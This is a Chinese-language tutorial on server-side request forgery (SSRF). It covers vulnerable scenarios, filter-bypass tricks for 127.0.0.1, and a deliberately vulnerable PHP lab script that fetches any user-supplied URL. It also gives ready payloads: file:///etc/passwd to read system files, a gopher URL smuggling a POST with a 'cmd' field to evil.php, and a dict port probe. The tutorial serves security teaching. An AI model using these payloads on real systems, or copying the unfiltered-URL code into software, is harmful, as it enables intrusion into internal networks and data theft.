1. 程式人生 > 實用技巧 >SSRF伺服器端請求偽造

SSRF伺服器端請求偽造

SSRF伺服器端請求偽造

SSRF服務端請求偽造漏洞,也稱為XSPA跨站埠攻擊,是一種由攻擊者構造一定的利用程式碼導致服務端發起漏洞利用請求的安全漏洞,一般情況下SSRF攻擊的應用是無法通過外網訪問的,所以需要藉助目標服務端進行發起,目標伺服器可以連結內網和外網,攻擊者便可以通過目標主機攻擊內網應用。

描述

SSRF是利用漏洞偽造伺服器端發起請求,從而突破客戶端獲取不到資料限制,通常攻擊者通過偽造伺服器請求與內網進行互動,從而達到探測內網,對內網進行攻擊的目的,通常與多種攻擊方式相結合。伺服器端請求偽造攻擊將域中的不安全伺服器作為代理使用,這與利用網頁客戶端的跨站請求偽造攻擊類似,例如處在域中的瀏覽器可作為攻擊者的代理。
在一些情況下由於業務需要,服務端程式需要從其他伺服器應用中獲取資料,例如獲取圖片、資料等,但是由於伺服器沒有對其請求的目標地址做過濾和限制,導致黑客可以利用此缺陷請求任意伺服器資源,其中就包含隱匿在內網的應用。很多情況下認為伺服器在內網不會受到黑客攻擊,便放任漏洞不管,不做補丁修復和版本升級,弱口令遍佈內網,在SSRF

漏洞面前這些漏洞都會造成很大危害。SSRF漏洞一般為HTTP/HTTPS方式出現,但類似TCP Connect方式也可以探測內網的IP活躍狀態和埠的開放情況,但此類危害較小。

SSRF漏洞易出現的場景

能夠對外發起網路請求的地方,就可能存在SSRF漏洞。

  • 從遠端伺服器請求資源Upload from URL,Import & Export RSS Feed
  • 資料庫內建功能Oracle、MongoDB、MSSQL、Postgres、CouchDB
  • Webmail收取其他郵箱郵件POP3、IMAP、SMTP
  • 檔案處理、編碼處理、屬性資訊處理ffmpeg、ImageMagic、DOCX、PDF、XML
  • 通過URL地址分享頁面。
  • 未公開的api實現以及其他呼叫URL的功能。

SSRF漏洞的利用

  • 可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的banner資訊。
  • 攻擊執行在內網或本地的應用程式,比如溢位。
  • 對內網web應用進行指紋識別,通過訪問預設檔案實現。
  • 攻擊內外網的web應用,主要是使用GET引數就可以實現的攻擊,比如Struts2sqli等。
  • 利用file協議讀取本地檔案等。

繞過方式

攻擊本機

http://127.0.0.1:80
http://localhost:22

利用@繞過

http://[email protected]
# 這裡的example.com可以任意替換,

利用短地址繞過

http://127.0.0.1可以變為http://suo.im/5UHEvD
# 轉換地址有很多,可以採用http://tool.chinaz.com/tools/dwz.aspx

特殊域名繞過

http://127.0.0.1.xip.io/
http://www.margin.com.127.0.0.1.xip.io/

利用Enclosed alphanumerics

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句號代替點繞過

127.0.0.1 變為127。0。0。1

使用其他進位制繞過

127.0.0.1
8進位制格式:0177.0.0.1
16進位制格式:0x7F.0.0.1
10進位制整數格式:2130706433(轉16進位制,再轉10進位制)
16進位制整數格式:0x7F000001
還有一種特殊的省略模式,例如127.0.0.1這個IP可以寫成127.1、10.0.0.1這個IP可以寫成10.1

特殊域名繞過

DNS解析
http://127.0.0.1.xip.io/
# 會解析到本地的127.0.0.1

實驗靶機示例

使用PHP構建靶機作為示例,編寫如下程式碼test.php,實際上避免這類攻擊的重要原則就是過濾使用者輸入即永遠不要相信使用者的輸入。

<?php
// 建立一個新curl資源
$ch = curl_init();
// 設定URL和相應的選項
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL並把它傳遞給瀏覽器
curl_exec($ch);
//關閉cURL資源,並且釋放系統資源
curl_close($ch);

file協議的運用

在上述示例中發起一個GET請求便可以獲取敏感檔案的資訊。

http://192.168.163.150/test.php?url=file:///etc/passwd

gopher協議的運用

gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher傳送各種格式的請求包,這樣變可以解決漏洞點不在GET引數的問題了。
基本協議格式:URL:gopher://<host>:<port>/<gopher-path>
進行如下請求可以傳送一個POST請求,且引數cmd的值為balabal,這裡構造gopher請求的時候,回車換行符號要進行2url編碼%250d%250a

http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST%20/evil.php%20HTTP/1.1%250d%250aHost:%20192.168.163.1%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala

dict協議應用

dict協議是一個字典伺服器協議,通常用於讓客戶端使用過程中能夠訪問更多的字典源,但是在SSRF中如果可以使用dict協議那麼就可以輕易的獲取目標伺服器埠上執行的服務版本等資訊。

http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 

每日一題

https://github.com/WindrunnerMax/EveryDay

參考

https://zhuanlan.zhihu.com/p/116039804
https://www.freebuf.com/column/157466.html
https://juejin.cn/post/6844903824948199431
https://www.cnblogs.com/bmjoker/p/9614789.html
https://blog.csdn.net/nz9611/article/details/96011013
https://zh.wikipedia.org/wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0